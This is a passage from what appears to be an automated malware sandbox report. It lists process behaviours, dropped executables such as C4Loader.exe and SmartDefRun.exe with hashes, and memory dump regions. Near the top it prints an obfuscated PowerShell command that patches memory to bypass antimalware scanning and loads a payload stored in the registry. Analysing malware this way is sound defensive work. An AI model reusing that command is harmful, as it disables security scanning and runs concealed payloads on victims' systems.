.InteropServices.Marshal]::GetDelegateForFunctionPointer($CPLhyfCebgRFqUeCN,$sXmxzmebqgMkngUfRkNGBo).Invoke($VmpkfZozmETwzCAQZ,[uint32]8,4,[ref]$VLZJAQDCGH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VmpkfZozmETwzCAQZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CPLhyfCebgRFqUeCN,$sXmxzmebqgMkngUfRkNGBo).Invoke($VmpkfZozmETwzCAQZ,[uint32]8,0x20,[ref]$VLZJAQDCGH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue('di'+[Char](97)+''+'l'+''+[Char](101)+'r'+'s'+''+'t'+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
                                    1⤵
                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                    • Drops file in System32 directory
                                    • Suspicious use of SetThreadContext
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:520
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4724 -ip 4724
                                    1⤵
                                      PID:1620

                                    Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

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                                          Downloads

                                          powershell.exe.log

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                          • Size 2KB
                                          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                          • MD5 SHA1 SHA512

                                          StartupProfileData-NonInteractive

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          • Size 19KB
                                          • SHA256 b6bf362dc74d67dee4772abc6e5ff61d21e3941b095b3a9936eecaa83b8025d4
                                          • MD5 SHA1 SHA512 SSDEEP

                                          StartupProfileData-NonInteractive

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          • Size 948B
                                          • SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
                                          • MD5 SHA1 SHA512

                                          C4Loader.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                                          • Size 1.4MB
                                          • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                                          • MD5 SHA1 SHA512 SSDEEP

                                          C4Loader.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                                          • Size 1.4MB
                                          • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                                          • MD5 SHA1 SHA512 SSDEEP

                                          SmartDefRun.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                                          • Size 3.7MB
                                          • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                                          • MD5 SHA1 SHA512 SSDEEP

                                          SmartDefRun.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                                          • Size 3.7MB
                                          • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                                          • MD5 SHA1 SHA512 SSDEEP

                                          SysApp.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                                          • Size 1.4MB
                                          • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          SysApp.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                                          • Size 1.4MB
                                          • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          new2.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                                          • Size 674KB
                                          • SHA256 b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
                                          • MD5 SHA1 SHA512 SSDEEP

                                          new2.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                                          • Size 674KB
                                          • SHA256 b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679
                                          • MD5 SHA1 SHA512 SSDEEP

                                          memory/520-219-0x00007FFF5A5D0000-0x00007FFF5A7C5000-memory.dmp

                                          memory/520-225-0x00007FFF5A4D0000-0x00007FFF5A58E000-memory.dmp

                                          memory/520-220-0x00007FFF5A4D0000-0x00007FFF5A58E000-memory.dmp

                                          memory/520-212-0x00007FFF5A4D0000-0x00007FFF5A58E000-memory.dmp

                                          memory/520-211-0x00007FFF5A5D0000-0x00007FFF5A7C5000-memory.dmp

                                          memory/520-210-0x00007FFF3BA70000-0x00007FFF3C531000-memory.dmp

                                          memory/520-224-0x00007FFF5A5D0000-0x00007FFF5A7C5000-memory.dmp

                                          memory/520-223-0x00007FFF3BA70000-0x00007FFF3C531000-memory.dmp

                                          memory/572-175-0x0000000005B50000-0x0000000005B5A000-memory.dmp

                                          memory/572-170-0x00000000059A0000-0x0000000005A32000-memory.dmp

                                          memory/572-168-0x0000000000E90000-0x0000000000FFC000-memory.dmp

                                          memory/684-226-0x00007FFF1A650000-0x00007FFF1A660000-memory.dmp

                                          memory/1088-142-0x0000000000400000-0x0000000000405000-memory.dmp

                                          memory/1088-136-0x0000000000400000-0x0000000000405000-memory.dmp

                                          memory/1296-177-0x000000000284A000-0x0000000002987000-memory.dmp

                                          memory/1296-188-0x000000000284A000-0x0000000002987000-memory.dmp

                                          memory/1296-178-0x0000000002335000-0x0000000002839000-memory.dmp

                                          memory/1296-176-0x0000000002335000-0x0000000002839000-memory.dmp

                                          memory/1492-213-0x0000000140000000-0x0000000140029000-memory.dmp

                                          memory/1492-218-0x00007FFF5A4D0000-0x00007FFF5A58E000-memory.dmp

                                          memory/1492-217-0x00007FFF5A5D0000-0x00007FFF5A7C5000-memory.dmp

                                          memory/1492-216-0x0000000140000000-0x0000000140029000-memory.dmp

                                          memory/1492-221-0x0000000140000000-0x0000000140029000-memory.dmp

                                          memory/1492-222-0x00007FFF5A5D0000-0x00007FFF5A7C5000-memory.dmp

                                          memory/2416-158-0x0000000007230000-0x000000000724A000-memory.dmp

                                          memory/2416-147-0x0000000004D70000-0x0000000004DD6000-memory.dmp

                                          memory/2416-156-0x0000000007270000-0x0000000007306000-memory.dmp

                                          memory/2416-155-0x0000000007020000-0x000000000702A000-memory.dmp

                                          memory/2416-154-0x0000000006FA0000-0x0000000006FBA000-memory.dmp

                                          memory/2416-144-0x00000000026D0000-0x0000000002706000-memory.dmp

                                          memory/2416-153-0x00000000075E0000-0x0000000007C5A000-memory.dmp

                                          memory/2416-152-0x0000000006220000-0x000000000623E000-memory.dmp

                                          memory/2416-145-0x0000000004DE0000-0x0000000005408000-memory.dmp

                                          memory/2416-146-0x0000000004CD0000-0x0000000004CF2000-memory.dmp

                                          memory/2416-157-0x00000000071E0000-0x00000000071EE000-memory.dmp

                                          memory/2416-161-0x0000000008210000-0x00000000087B4000-memory.dmp

                                          memory/2416-148-0x0000000005640000-0x00000000056A6000-memory.dmp

                                          memory/2416-149-0x0000000005C80000-0x0000000005C9E000-memory.dmp

                                          memory/2416-160-0x0000000007340000-0x0000000007362000-memory.dmp

                                          memory/2416-159-0x0000000007220000-0x0000000007228000-memory.dmp

                                          memory/2416-150-0x0000000006260000-0x0000000006292000-memory.dmp

                                          memory/2416-151-0x0000000074750000-0x000000007479C000-memory.dmp

                                          memory/3808-179-0x00000270D2E50000-0x00000270D2E72000-memory.dmp

                                          memory/3808-181-0x00007FFF3AE60000-0x00007FFF3B921000-memory.dmp

                                          memory/3808-182-0x00007FFF3AE60000-0x00007FFF3B921000-memory.dmp

                                          memory/4136-206-0x00000000054B0000-0x0000000005AC8000-memory.dmp

                                          memory/4136-209-0x0000000004F70000-0x0000000004FAC000-memory.dmp

                                          memory/4136-208-0x0000000005040000-0x000000000514A000-memory.dmp

                                          memory/4136-207-0x0000000004F10000-0x0000000004F22000-memory.dmp

                                          memory/4136-201-0x0000000000400000-0x0000000000420000-memory.dmp

                                          memory/4272-197-0x00007FFF3AE60000-0x00007FFF3B921000-memory.dmp

                                          memory/4272-189-0x00007FFF3AE60000-0x00007FFF3B921000-memory.dmp